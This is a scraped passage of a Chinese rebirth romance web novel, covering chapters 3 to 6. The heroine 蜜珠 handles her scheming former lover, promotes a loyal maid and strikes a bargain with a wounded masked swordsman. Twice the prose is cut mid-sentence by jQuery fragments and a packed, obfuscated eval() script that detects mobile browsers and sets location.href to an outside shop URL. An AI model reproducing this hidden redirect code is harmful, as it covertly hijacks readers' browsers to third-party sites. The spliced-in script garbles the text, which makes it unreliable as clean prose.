$(''.inform'').remove(); $(''#content'').append('' > 是以在朝堂上,约莫没有多少站在上头的大官们,能知道他蜜景是谁。 哎,多年仕途,想不到落在了女儿的嫁娶上。也算有盼头吧。 所以醒来时,哪怕因为王氏守在床边,让自己吓了一跳,蜜老爷依然调整了一下情绪,坐直了身体道。 “愁眉苦脸什么?府里有什么烦心事?” 王氏实在是懦弱,在处理后院的许多事情上,手段过于绵软,有时候会被奴婢爬到鼻子上欺,这一点,蜜老爷过去也是有所耳闻的。 但只要日子过得下去,后宅如何,但凡不给他本人添乱,蜜老爷都是没什么耐心和兴致去管的。 今日问这句话,已经算是他比较体贴的一个表现了。 王氏紧锁眉头,捏紧了手里的帕子,小心翼翼道。 “昨夜曲家那小子,来闯咱们府邸。” 一边说,她一边打量老爷的神色,犹豫要不要说后面两句话。 “曲家?” 蜜老爷怀疑自己听岔了,好一会儿才反应过来,王氏口中说的曲家小子,莫不是曲立封? 不过这小子当年因着曲家没落,已经多年不和他们有什么往来了,怎么会忽然这个时候冒出来? 王氏不得不陪着小心,缓声开口。 “这些年,曲家小子日子不好过,我…念着两家旧情,就让珠儿去帮扶了一把,给过几次盘缠。” 实际上,做这事儿的人是蜜珠自己,王氏到底是做母亲的,不好让一个没出阁的女儿,去担上私底下和外男接触的名声,只能把自己抬出去。 这样万一将来事情闹大了,传出去,他们也能有个站得住脚的理。 珠儿是听了母亲的话,重视故交情谊,才帮扯拉扶着… 这些年来,蜜珠一直和曲立封有往来,王氏不是不知道。她治家不严,不仅是对下人,哪怕是对自己女儿,王氏也总缺乏管教的信心。 所以眼睁睁瞧着蜜珠和曲立封越走越近,她心里着急,也只能盼望着,将来曲立封能考个好功名,再来对珠儿明媒正娶。 不然凭着对方破落的身世,若想娶到珠儿,老爷是肯定不会同意的。 “胡闹!我早说了,曲家风水不好,破败户还记挂什么!你怎么能让珠儿去给他送盘缠?” “我看你是正房夫人做腻了,中馈之事握在手里发烫,想给旁人管!” 蜜老爷连鞋子都没穿,从床上跳起来,指着王氏的鼻子骂。 他对外小心陪笑脸,对内却是能重拳出击的,关起房门来脾气可不好,这也是养成了王氏性情懦弱的原因。 王氏低着头,开始默默抹泪,也不辩解。 老爷骂个几句就消气了,总不能让女儿被骂了去。 “现在他人在何处?!” 蜜老爷穿好鞋子,在地上来回走了几步,想到了关键处。 眼下可是刚和南宁王府定下婚约的时候,人家还没有来下聘,这等关键时刻,可不能传出什么对他们蜜府不利的事情。 也就是南宁王府世子是个傻子,才能让他这个小官攀上这门婚事。 珠儿那张脸酷似王氏,他当年也算是没白娶这个夫人,能有点用。 王氏低着头:“关在柴房了。” 她轻轻吁了口气,老爷问到这里,这桩事情差不多就被老爷接手去管了。 她和女儿可以先不操心了。 到底是混官场的人,什么腌臜事儿都见过,老爷对付曲立封,肯定比她和女儿要厉害。 听到曲立封被关在了柴房,蜜老爷一个箭步冲了出去,活像是要和人去打一架。 4.第 4 章 蜜珠这一觉睡了个饱,直到日头挂得老高,才被柳儿喊醒。 “小姐,快用午膳了。” 小姐今日可真能睡,竟然睡到了这个时辰。兴许是昨夜被曲公子吓到了。 嗯,一定是这样。 望着蜜珠那张白里透红,不施粉黛却格外清丽的脸,小丫鬟已经自动自觉的给蜜珠找好了理由。 蜜珠捂着发涨的太阳穴缓了缓,才睁开眼,看了一眼从外头照进来的光。 以前她可从来不会睡到日上三竿的,她是标准的千金小姐,把那些个礼教规矩看得比天都大,大概一辈子里唯一最叛逆的事儿,就是跟了曲立封这个负心汉。 重活一世后,也不知怎么的,她似乎就对那些个规矩,没那么在乎和惧怕了。 睡到自然醒多舒服啊。 但是难得的是,爹娘竟然没有管她。 哦,他们两个应该是忙着处理曲立封的事儿了。 蜜珠心里清楚,她让家丁把曲立封往柴房一关,就相当于把这个事儿捅到爹面前了,逼得他不得不出面处理。 若是以前弄出来这个事,以她爹的脾性,约莫要暴跳如雷,对她破口大骂的。 但而今有和南宁王府的婚约在那儿摆着,她那个好面子又想要仕途的爹,多半不会在这个时候说她什么,以免她将来进了王府和娘家离心。 “小柳儿,说说看,我爹娘都做了什么,这半日府里发生了什么新奇事?” 蜜珠坐起来穿好了衣裳,坐在了梳妆台前,身后有另一个丫鬟蓄月帮她梳理头发。 小柳儿悄悄瞥了眼被唤进来为蜜珠梳妆的蓄月,有点儿好奇,对方怎么会被小姐重新喊进房里来伺候。 “老爷和夫人把曲公子打发了,只知道对方是从后门走的,脸上虽有怒色,但却压着,想来是知道不能再闹出什么,否则讨不了好。” 蓄月主动接了蜜珠的话,小柳儿就在一旁连连点头:“是的是的。” 蓄月平时话不多,只在重要的问题上,多一些言语。 前世蜜珠不怎么喜欢蓄月,只嫌对方性情太过于闷,从来不爱多说话,显得没什么生机。 但重活了一世之后才明白,寡言沉稳不多事,其实是优点。 倘若她前世多听一点儿蓄月的话,兴许就不会落到最后那一步。 要说曲立封这样的大尾巴狼,虽然演技好了一些,甜言蜜语也多一些,可毕竟也是人,总有疏漏之处,这天底下是有人长着火眼金睛,能看出对方的不妥的。 蓄月就是其中一个。 可惜前世蓄月在她耳边多说了几句,让她疏远一些曲立封,就被她排斥,从而弄出了小院子。 而今她重新把蓄月喊回来,瞧着蓄月还是跟以前一样沉稳,在正事上妥帖又镇定。 她看着铜镜里,专心为自己放上步摇的蓄月,轻声道。 “蓄月,你可怨我先前将你支开?” 小柳儿在一旁收了声,只悄悄看她们两人说话。 她真好奇蓄月姐姐会怎么回答小姐的话。 蓄月并不是蜜府中的家生子,而是在小的时候,被王氏从人牙子手里买回来的,因着做事麻利,人又稳重,才会被专门放到蜜珠身边伺候。 “是我说话不中听,不怨小姐。” 蓄月低声回答,她长得就是那种眼睛细长,看着性情寡淡的样子。 她自己心里明白,其实在主家身边做事,说话好听一点,才能得到更多的赏赐和重用。有时候下人过于耿直,哪怕初心是为了主家好,反而会得罪了对方吃力不讨好。 这些道理,明白归明白,蓄月却是不打算改自己的性格了。 人都知道强扭的瓜不甜,那强扭的性子也是一样。 若是大小姐一直让她在外院里做活儿,那她就安安分分做好手里的事情,大不了月银少一点,少在主家面前露脸,别的都是一样。 但若是…她还没想过,会有一天大小姐重新把她调回身边。 蜜珠看着铜镜里蓄月沉静的神情,若有所思。 她能看出来,蓄月说的是真心话,对方的性子就是那么淡淡的,从来没什么大的悲喜。 这在办事的人身上,其实是很大的优点,奈何前世蜜珠不懂这种好,看不到。 “蓄月,能和我说说,当初为何让我离曲立封远一些么?” 许多过去没弄懂的事情,现在蜜珠擦亮眼睛,也掏干净耳朵了,她想更加清楚一些。 蓄月帮蜜珠梳妆的动作,终于卡顿了片刻,她觑着蜜珠的神色,见她是真心想知道,这才缓缓道。 “男子做事,若要令人信服,靠的是行,而不只是言。” “曲公子虽然相貌上佳,但父母故去后,却没能守孝,还常高谈阔论在外结交友人,行事略有些轻浮。明知道老爷不喜他,他却绕着弯来接近小姐,不按礼节来蜜府拜访,只暗地里找空子接近小姐。这些都不是真正的君子所为。” 蓄月说到这里,就不说了。 然而只这些,就足够蜜珠弄明白,上辈子自己亲手把一个多么心细如发的贴心人推开,从而让自己少了看清豺狼虎豹的慧眼,最终掉入了火坑。 “…先前是我冒失了,没懂你的好意,还将你派到了外院。蓄月,你的月银重新加回到一等大丫鬟,你是想继续留在我身边,还是想和之前一样在外院里做事?” “若你有其他喜欢的活计,你自己挑。” 蜜珠看着蓄月,轻声细语地问。 其实她私心是很希望,能把蓄月留在身边的,若是能跟着她一起去王府,将来无论做什么,身边都有一个可靠的自己人。 小柳儿的忠心自然是不用说的,但到底年纪小,没经历过什么事儿,又有些胆怯,真遇上什么大事,她怕小柳儿一个人撑不住,还得要一个老练和沉稳一些的人在旁边搭着。 蓄月那么聪慧的人,听着蜜珠的话,就猜到了她的意思。 她只是想了片刻,就果断开口道。 “奴婢既然已经进了蜜府,自然是希望能多在大小姐身边做事儿,尽一份力的。” 她往常就善于观察,这次和蜜珠的这一番对话,更是隐约有种微妙感觉,大小姐像是换了个人一般,变得不一样了。 这种不一样,令她原本的主意也忍不住改变,想要留在大小姐身边了。 说到底,先前想着在外院一直做事,只是建立在大小姐不喜欢自己的基础上,才这么打算。 若是能得重用,当然是好的。 “我愿意跟着小姐。”蓄月抬眸,望向蜜珠,眼里透露出几丝坚定和深意。 这让蜜珠莫名觉得,蓄月的眼中燃起了火焰一样的东西,好像对方身上其实藏着什么故事。 “好。”蜜珠重新得到了可靠得力的丫鬟,心里是开心的。 她心底里明白,只要挺过这个月,南宁王世子就会传出病重又不治而亡的消息。 到时候她这门婚事,多半是不成的。 说不准届时会有许多人,给她冠上一个克夫的名头。 她在蜜府中的地位,多半会尴尬起来,爹会不待见,她必须得自己先提前想法立住根基。 手里没有银子,离开了蜜府就寸步难行。 这一点是现在就要提前打算的事情。 “蓄月,明儿你跟着府里采买膳食的嬷嬷一起出去,瞧瞧外头有没有转让的铺子和小院儿,打听一下价钱。” 蜜珠很快就给蓄月吩咐了要做的事儿。 蓄月并不多话,只安静领了这个任务。 “好。” “若有人问起,你不要透露我让你办的事,只说去替我买胭脂水粉了。” 蜜珠补充了一句。 蓄月点头:“我记住了,小姐。” 小柳儿在一旁看着主仆二人对话,小鸡啄米的点头。 蓄月姐姐就是要比她厉害,在小姐身边都能帮到更多的忙。 “看院子时,挑那宽敞一些的,但不要在京城内围,偏一点更好。还有,你去牙行留意着,有没有合适的婆子家丁,最好要一些会点功夫的身世又清白的,带回府里。” 蜜珠又加了一句。 她将来想住进自己的院子里,不是什么蜜府王府,就是她蜜珠自己的家。 有身材粗壮的婆子,还有会点功夫的家丁守门,当然更安心一些。 重生一遍后,蜜珠比从前任何时候都更加珍惜自己的生活。 蓄月将蜜珠的要求,都听在了耳里,默默记住,神色依然平静,一看就有种可靠感。 有她做对比,一旁的小柳儿活脱脱一个还没长大的孩子,脸上稚气未脱,眼睛一眨,心里在想什么全都写在了脸上。 “那我呢,小姐我能做什么啊?” 小柳儿觉得自己被比下去了,也想做点什么为自家小姐分担。 “你啊。”蜜珠莞尔一笑。 “再好好长两年吧,替你找一个如意郎君。” 她逗着小柳儿。 上辈子到死的时候,小柳儿都在喃喃,说这辈子没有喜欢过任何男子,没有尝过情的滋味,好不舍得死。 那样的小柳儿,让蜜珠看了心如刀割。 “我、我不要如意郎君,我要一直跟着小姐。” 小柳儿脸蛋涨红了。 小姐变了,还会打趣她了。 就连蓄月也惊异的看了一眼蜜珠。 从前的蜜珠,其实是个过于墨守成规又胆怯的人,哪里会开这样的玩笑。 但这种改变… 蓄月望着蜜珠脸上灿烂又充满生机的笑容,忽然觉得,其实没什么不好。 一个好主子能旺整个家。 * 蓄月看中了一个铺子,还有一个小院子,说是很好。 蜜珠特意戴了一顶帷帽,跟着蓄月一起出来了。 小柳儿要一起跟出来,被蜜珠拒了留在府里。 “曲立封兴许对我怀恨在心,我带你出门,他认得你。蓄月稳重,不常出门,更妥当一些。” 在南宁王世子正式不治而亡之前,蜜珠都打算安安生生把这段日子等过去。 曲立封毕竟是要考功名的人,真把这事儿闹到明面上,就是把前途毁了。 前世如果不是换了新帝,曲立封只会和她一起落魄下去,没什么机会被重用的。 小柳儿听了蜜珠的话,立刻就不委屈了,只是拉着蓄月叮嘱。 “你要多看着点小姐嗷。” 她性情简单,可能正是因为如此,前世蜜珠才爱把她带在身边。 蓄月也对这小丫头很亲近,闻言捏了捏她脸颊。 “我晓得。” “若有机会,给你带糖葫芦。”她幼时在家中并无姐妹,只有一个兄长,平日里感情都是淡淡的。 想不到在蜜府,反而会看小柳儿有些亲近,宛若亲妹妹。 小柳儿立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13095552|137955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻喜笑颜开。 “别耽误了小姐的事儿,我不吃糖葫芦在不打紧。” 蜜珠瞥了她一眼,暗笑这丫头果然还是笑起来没心没肺的样,叫人看着更开心。 …… 两人是坐马车去的牙行。 蓄月从外头找过来的马车,没用蜜府的。 这几日因着蜜府有了和南宁王府的婚事,正被京中贵人关注着呢,未免多生事端,蓄月特意雇了其他的马车,这样不会有蜜府的标志。 车夫看着就是个老实的面向,笑呵呵的驾车。 她们是去看那个小院子。 “在靠近郊外的地方,虽然位置稍微偏了一些,过来也不远,胜在价钱合适,房子也宽敞。” 蓄月在蜜珠耳边轻声说着情况。 凭她本能的敏锐直觉,猜测小姐是想要一个清净的地方,远离京城那样的是非之地,所以在其中两个院子里,优先选择了这个稍微偏一点的,先带小姐去看。 事实也是如此。 哪怕蓄月给蜜珠看了,还有一个在京城外围的院子房型图,蜜珠依然决定先去看靠近郊区的那个。 然而马车才刚驾出城门不久,从小道的草丛里,忽的跳出来两个人。 其中一个满身是血,戴着一张挡住了整张脸的木质面具,叫人只能看到两只黑色的眼睛。 “站住!马车留下!人走。” 另一个黑衣男子蒙了脸,说出的话很不客气,声音也洪亮,看着就是习武之人。 车夫多有眼色啊,一看这两人来者不善,直接跳了下来作揖。 “两位少侠,我只是个驾车的,这就走这就走。” 听说京城外头不太平,但却不知道刚出城门,就会遇到这等江湖中人。 马车里隔着帘子,蓄月一下子捏紧了蜜珠的手。 “小姐,我们也下去,跟着车夫走。” 这等恶徒,还是不要惹恼了他们好。 幸好小姐出门还戴着帷帽。 她伸手帮蜜珠将帷帽重新戴得更加严实了一些。 蜜珠不发一言,唇却抿了抿,也有些紧张。 就在两人想要从马车里下来时,却听那两个男子中戴着木质面具的那人低沉道。 “等等。人别走。” “车夫回来,继续驾车。该去哪继续去。” 他两句话说完,车夫刚跑出一段距离的腿也定住了,因为脚背被男子砸出去的一粒石子砸的一痛。 但等他低头一看,赫然却发现,石子是一粒银子。 车夫立刻放松下来。 这少侠能给钱,还是好人,是能好好商量的好人。 蒙着面的男子,看向身旁受伤不轻的面具男,沉声道。 “少主,你上马车,我继续进城。” 那些人就跟闻到了血腥味的猎狗一样,一路上咬着他们不放。帮派里也不知道出了哪个叛徒,把他们的行踪透露了出去。 如果不是少主武艺超群,这么几波人马用尽了手段来回进攻,他们半道上就得折了,哪能回到京城。 不过到了这里,少主明显已经是强弩之末了,这副模样也不好回到王府。 皇帝老头给了那么一桩婚事下来,眼下所有人都眼巴巴盯着南宁王府。少主身上这么多伤,肯定得好好养一番才能回去。 京城显然不是养伤之地。 他也得进城,先把那些尾巴继续处理一下。 说完这些,黑子飞快往京城的位置继续跑了。 只留下戴着木质面具的华宣——南宁王世子,站在马车前,看着小心赔笑的车夫。 车夫不敢多和这些亡命之徒多掰扯,能拿银子还不丢了马车,这趟已经是造化了。 他对华宣做了个请的动作。 华宣沉默片刻,抬起了靴子,跨上马车。 男人冷白肤质的手,掀起了马车帘子。 坐在马车里的蜜珠浑身一紧,身旁的蓄月已经护主的挡在了她跟前,像母鸡护着自己的小鸡崽子那样警惕防备。 帘子掀开后。 戴着帷帽遮住了庐山真面目的蜜珠,和戴着木质面具挡住真容的华宣,两人干瞪眼了片刻。 借着帷帽的遮挡,蜜珠警惕又迅速地将华宣整个人打量了一遍。 江湖人士啊。 上辈子从来没见过的人呢。 蜜珠发觉自己骨子里,似乎藏着一种从来不曾被激发的灼热血脉。 是经历了死亡之后,破开了教条,觉醒出的东西。 和华宣大眼瞪小眼了一阵后,她忽然直觉,对方并不是个残暴的人。 这男子面具后的那双眼睛,有些过于清澈温和了,好像在戏谑地看她们呢。 “江湖人士也会没有马车坐吗?” 她温温柔柔开口。 话说出来了,自己都有些惊讶,捂住了唇。 华宣勾了勾唇,脚踩着马车一跃而上,只在马车车厢的边缘坐着,笔挺的身形瞧着染透了血也依然有些潇洒。 他身形那么挺拔,得微微俯身,才适合这个马车车厢的高度。 他看着像是不爱多话的模样,却不成想,声音低沉着回了蜜珠。 “千金小姐坐马车也还要藏着脸么?”他扫过来的眼神,含着几丝戏谑。 蜜珠瞪大了眼。 好不要脸的男子! 抢了她的马车强坐,还要反过来讥讽她藏头露脸呢! 5.第 5 章 车夫还在外面兢兢业业驾车,但也忍不住支起耳朵,偷听后头的动静。 江湖人士啊,在百姓心中可是分成两类的。 要是遇到那些个性情好的,劫富济贫助人为乐,算是比较豪爽和热血的,在他们眼中是好人。 但要是遇上个那些杀人如麻拦路抢劫的,还真是找不到地方去诉苦。 天高皇帝远,江湖中人一般都在京城以外的地方晃荡,而且还都会功夫,就靠衙门真不能把这些个搅出腥风血雨的江湖人抓住,所以也就多了几分无奈和忍耐。 今日这个戴着面具,又身上都是血腥味的少侠,看着亦正亦邪的,还真分不清到底是好人还是坏人。 车夫都为后面车厢里的两个姑娘捏把汗,瞧着应该也是闺阁中的千金小姐,怎的有胆子和这样打打杀杀的江湖人搭话。 难道不怕对方一言不合被惹恼了,就拔刀砍人? 车夫怎么想,蓄月不知道,她只知道,自己的心都快跳到嗓子眼了。 小姐往日里在府中瞧着性情软绵绵的,怎的出了门这般大胆,竟敢和这种拦路要马车的狂徒说话。 眼见面具男方才冒出来的这句话,让小姐整个人情绪都激动起来了,蓄月忙轻轻按了下蜜珠手臂,示意对方不要再回话了。 感觉到手臂被蓄月按了一下,蜜珠才回过神,意识到自己差点吹胡子瞪眼的生气。 她怔了片刻,将脑袋一扭,不再看那男子了。 华宣双臂环抱,靠在马车厢上,随着车厢在小路上颠簸的节奏,他浑身的伤口也跟着裂开,饶是他忍耐力超过常人,流血这么久,也有些意识混沌了。 车厢里一时间陷入了沉默。 “你们去哪。”他打破沉静气氛,开口问话。 蜜珠抿着唇,这次不说话了。 是蓄月担心惹恼了这看起来亡命天涯的狂徒,谨慎地回答。 “庄外走走。” 华宣的视线扫过蓄月,又落在了戴着帷帽的女子身上。 出门还围的这么严实,想来对方应该是大户人家的千金。 华宣在脑海飞快闪过京城里权贵们的面孔,猜测这对主仆的身份。 好端端的,把人灭口这样的事情,他是不会做的。 但也要确保,这二人连同车夫,不会将自己的行踪泄露出去。 “二位姑娘瞧着金尊玉贵,想来家中有人当官?” 华宣饶有兴味地开口。 即使身上的伤势挺触目惊心,他依然看着有点风轻云淡,并不如何着急。 除了车厢里格外浓烈的血腥味之后,他面上看着半点端倪都没露。 蜜珠柔声细语开口:“我们都是平民百姓,哪里有什么大的来头。” 她察觉出来了,这面具男子似乎是在打探她们的身份。 打探什么呢? 她们二人身上又有什么值得这种江湖男子惦记的? “你是想灭口吗?” 蜜珠冷不丁询问,把一旁的蓄月都吓了一跳,心说自家小姐可真是变了性子了,面对亡命之徒都敢这样说话。 华宣一愣,随即低头,轻轻笑了出来。 他声音莫名低沉有磁性,这么一笑,让人听着脸庞有些发红,心尖儿也有些酥麻。 “灭口?不。” 华宣整个人身体都开始虚弱了,只能让自己靠着车厢,身上的佩剑撑在一旁。 缓了缓,他改了调笑的语气,一本正经道。 “我是想和二位姑娘做一个交易。” 交易? 蜜珠和蓄月看向彼此,对视了一眼,都有些拿不准对方的心思。 这人一身都是血腥味,虽然黑色的劲衣遮住了颜色,但看着就是刚和人不要命的厮杀过的,反正不像善人。 这交易能做吗? “你想让我们做什么?”蜜珠声音轻软的开口。 音色虽然是天然的柔和动人,帷帽下瞪大的一双杏眼,却写满了警惕,像极了小兔子。 “做你们能做的。”华宣声音慵懒。 这语调瞬间让蜜珠和蓄月都戒备起来,像是炸了毛的两只小动物。 华宣话音落下,察觉到这两个姑娘的反应,不由沉默片刻,有点无奈。 “我不劫色,也不劫财。” 蜜珠和蓄月依然瞪大四只眼睛,不怎么相信地看着华宣。 后者换了一只手拿佩剑,撩起马车帘子,看了眼外头,不知道看到了什么,半晌他才轻声道。 “想让你们二位帮我寻个地方短住。” 他扭头,认真地盯住两人。 ——这人好生奇怪,一正经起来就莫名有股威慑,但调笑着不正经的时候,又跟个多情公子似的,叫人牙痒痒想去怼两句。 蜜珠想了一会儿,轻声问。 “那你能给我们什么回报呢?” 是这人说的交易。既然是交易,那必定有来有回,双方都能获得点什么吧。 华宣见她不害怕自己,反而主动提起条件,不由勾唇。 “看你想要什么。” 蜜珠玩起自己的手:“那可多了。譬如金银珠宝,又或者…” 她语气停顿,隔着帷帽,双眸亮晶晶看着华宣。 “武功秘籍?” 江湖人都那么厉害,还能飞檐走壁,她也不图别的,能学上点真本事,哪怕多个轻功,心里都踏实一些。 华宣一怔,看蜜珠的眼神不由古怪了几分。 打打杀杀这等事,向来是闺阁千金们避之不及的,更别提习武了。当今圣上重文轻武,就连手握权势的武将,都不如文臣来的讨人喜欢。 怎么还会有娇滴滴的姑娘,想要去学那等大老粗的武功秘籍? 蜜珠被他打量的视线,看的浑身汗毛都竖起来了,但却努力让自己挺直脊背,不要露怯。 “你就说给不给吧。” 她故意压低自己声线,但怎么瞧都有点小兔子在那儿故意张牙舞爪吓人的萌劲儿。 华宣耸肩,靠回车厢,换了个舒服的姿势抱着佩剑。 “成交。” 金银财宝不算什么。 武功秘籍么…反正他能给,但这姑娘能不能学会,就不是他操心的事了。 混帮派这么多年,华宣手里的功法没有千儿八百,也有几十种了,挑出适合女子容易入门的,也不是什么难事。 听到华宣应下来,蜜珠咬了咬唇,意识到自己是不是把条件要的太少了? 你看这男子答应的这么爽快,明显就还能再杀价的! “等等,武功秘籍要加一条。” 她下意识开口。 华宣睁开眼,朝她看了过来,木质的面具没有任何表情,冷冰冰的,莫名让人心里发慌。 蜜珠虽然慌,却还努力镇定。 “我是说,武功秘籍我不知道是真的还是假的,你若给我,那得教会我。” 声音越说到后面就越低。 蓄月在一旁都已经听到没有情绪波动,来不及震惊了。 大小姐是真虎啊,竟敢跟这等狂徒有来有往的提条件。不知道祖上是不是出过什么习武的祖先,胆子真壮。 但没听过大小姐家中有过什么武将这样的祖先。 那大概就是…大小姐比较特别了。 蓄月很想在这个时候说点什么,提醒大小姐,不要太和这些江湖人士掺和到一起。可她几次张唇想说话,都能感觉这面具男的眼神凉凉的扫了过来。 她莫名有些心惊,那些要劝阻的话,就这么淹没在了肚子里。 “习武要吃苦。你吃不了。” 华宣忽然来了这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13113807|137955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么一句。 蜜珠:“就没有不吃那么多苦能练成的武吗?我可以吃一点点,吃不那么多。” 上辈子蜜珠还是个闺阁女子的时候,的确是对那些江湖人士不怎么喜欢。她下意识觉得,人要远离那些不稳定的东西。 江湖人士就好像是朝廷统治之下的一堆蛀虫,他们仗着会功夫,将江山啃得东一口西一块,一片狼藉好像蝗虫过境。 可是…到她快死的时候,听到边境的小国集合起来入侵四周,朝廷不作为,却是那些江湖人士组成的帮派,在自发的抵抗着那些铁骑,保护着那些手无寸铁的百姓。 可见会一点武艺,也是好的。 如今的大令王朝,从前朝那里抢下来的江山,也不过刚刚才换了两个皇帝。 江山还不稳当,百姓们若是都绵羊一般温顺,将来若是朝廷再不管百姓,到时候这些人该何去何从? 想到了前世自己知道的那些,蜜珠端正了态度,抿着唇重复道。 “真要吃苦,我也可以的。” 天上没有掉馅饼的事儿,她的年纪比起那些自小就习武的,已经是大上一些晚了点儿,若是还没有勤奋在,就更加不可能掌握好武功。 见她前后态度变化这么快,华宣都禁不住多看了她一眼。 “行。”他扯了扯唇,眼底的笑意就像天边的云,一闪而逝,随之而来眼底涌起的是浓浓的困倦。 “我睡一会。到了地方安排好了,再喊我。” 华宣挑眉,看向蜜珠。 因着两人之间已经达成了某种“交易”,蜜珠对他的戒备略微少了一些。 “好。” “需要给你请大夫吗?” 她看了眼华宣身上的黑衣,被血染到的地方并不明显,但多少能看出点痕迹。 何况这人身上那么重的血腥味,她能忍到现在,都是因为有过上辈子的历练。 倘若真还是从前那个什么都不知道的天真小姐,恐怕早就已经尖叫起来了。哪里还能坐在这里,好整以暇的和对方商量怎么交易。 华宣又睁开眼睛,面具能遮挡他的五官,但眼睛的瞳仁形状却挡不住。 “多谢了。”他没有拒绝。 他的眼睛比一般人的要深黑一些,恍惚中让蜜珠想起了前朝皇室。 据说前朝皇室中人,都有一双格外深黑纯粹的眼睛,所以分辨皇室血脉的纯净与否,多半可以通过眼睛。 一路无话。 华宣的身形挪到了马车的另一半,在车厢入口的地方,给主仆二人空出来一点儿位置,方便下车。 … 快到天黑的时候了。 蜜珠得回去了,请来的大夫刚帮那男子看过身上的伤势。 好家伙,说那人身上都是伤口,也不知道是经历了几次斗殴打杀才变成这样的。 若是继续放任伤口裂开流血,说不准都撑不过去了。 但好在,这人的身体底子似乎不错,而且在打斗时应该有经验,所以避开了身体的各处要害,并没有造成什么致命的伤。 约莫稍微养上一些日子,就能把身体养回来。 这也让蜜珠听了极其羡慕,习武之人的身体就是好呀,经得起折腾,刀光剑影里也能把命给捡回来。 “谢谢大夫。这是诊金。” 一旁的蓄月及时的将诊金给结了。 蜜珠叹气。 将这里的小院子买下来后,又帮人请了一趟大夫,她的那些个私房钱算是已经用差不多了,起码缩水了一半。 手里没钱,做事情就少了底气。 接下来她该想想,怎么多挣点钱了。 而今买下来的小院子,在偏房的位置,暂时安置了那面具男子,其他地方都空空的。 没想到这小院子,会让一个陌生男子住进来。 6.第 6 章 “小姐,天黑了,我们该回去了。” 蓄月看了一眼天色,轻声开口。 她知道小姐买院子这些事儿,都是瞒着老爷夫人的。 真难想象,以前那个说话都细声细气,没有什么主见的小姐,会忽然这么能拿主意。 她想了想,压低声音道。 “里头那个人,小姐打算怎么处置?” 蜜珠坦然回答:“让他先养着。但用在他身上的银子要记账,等他以后还给我。” 蓄月低声叮嘱:“毕竟是江湖人士…还是莫要太多往来的好。” 从前她也是这么叮嘱小姐远离那曲立封的,但那时却因着那句话,她就被小姐疏远了。 而今她又越过分寸,去提醒小姐,要远离陌生男子… 蜜珠对她的关切,这一次没有再和从前那样抗拒,反而温和笑了。 “蓄月,你说的有道理。今日我的确莽撞,是该多听你的。” “接下来几日,若没什么事儿,我都不会再出门了。至于对方…” 看了看天色,蜜珠还是决定趁着今日就说清楚。 她站在华宣的房门前:“你醒着吗?” 床上刚换过纱布伤药的华宣,发丝散着,轻轻咳嗽了两声。 “嗯。”面具还牢牢盖在他脸上。 “我们要走了。你留在这里养伤吧。明日我会让小厮过来给你送饭。” 救人救到底,蜜珠隔着门说话。 “不必。”华宣拒绝的言简意赅。 蜜珠:“…行。” 她还乐得少点儿事儿呢。 “那武功秘籍怎么给我?” 华宣躺在床上,压了压伤口的位置,感受着那里还疼,暂时行动不便,才慢慢道。 “等我伤好。” 两人隔着门一问一答,虽然是第一次交易,但都冷静的像是在谈论这匹布料什么时候交货。 蜜珠身后的蓄月轻轻叹了口气。 路边的男人能随便捡么? 就怕捡到什么祸害麻烦。 这世上哪里那么多话本里才子佳人一见钟情的好故事,全都是写出来的罢了。 人心明明难测。 踩着夕阳落下的最后时刻,蜜珠安然回到了蜜府。 王氏发现女儿今日出去了那么久,忧愁道。 “外面不太平,女儿家不好出去跑那么远。曲立封虽说被你爹打发了,但保不准他怀恨在心。你对他的手段太得罪人了。” 读书人最重视名誉,曲立封哪怕家道中落,底子里也还是一个有少爷心性的文人。 岂能被蜜珠那样叫家丁捆绑了堵住嘴,然后塞到柴房关一整夜? 那日她和老爷一大早瞧见那样狼狈的曲立封,都吓了一跳,心说珠儿平日里不声不响的,还显得有点儿懦弱,怎的对付起昔日情郎,竟然这般雷霆手段,折辱人家的骄傲? 比起她的震惊,老爷倒是挺高兴,说这样才有点骨气——不能让什么小猫小狗的宵小都盯上珠儿,要让人知难而退,知道配不上就不要来纠缠。 王氏想着那曲立封,总觉得这是招了一个仇敌,心里放不下心。 本来女儿和曲立封这孩子之间,哪怕没有缘分,但因着陛下定了和南宁王府的婚事,也只能说是天注定的造化。 所以做不了夫妻,至少也有以前的情谊在,不至于成为仇家。 但珠儿这样一番折辱曲立封,不仅是把过去的情分消磨干净,还惹来了别人暗地里的记恨,这不是处世之道啊。 王氏的忧愁,蜜珠看在了眼里,沉默了片刻,才轻声道。 “不是我要得罪他,而是他本就不是端方君子。娘,好人家的儿郎,若要娶我,也定是堂堂正正走大门,见了长辈得了礼节,珍惜对我。而不是他那等,把我当成一个勾栏里随意一亲芳泽的人,夜半约我相会,还想带我去附近客栈。” “太苟且了。也龌龊。” “他不是不知道我将要成亲,嫁给南宁王世子的事情,但为何还要这样对我?是料准了世子痴傻,不懂男女之事,我能把事情蒙混过关还是什么?但他难道就没想过,我一个清清白白的弱女子,若真的东窗事发被人知道丢了名节,会是什么下场?” “这等将女子名节踩在脚底践踏的男子,岂是良人?若说我折辱他,不如说我是看透了他那颗心的肮脏之处,把那张人皮扯下来罢了。” 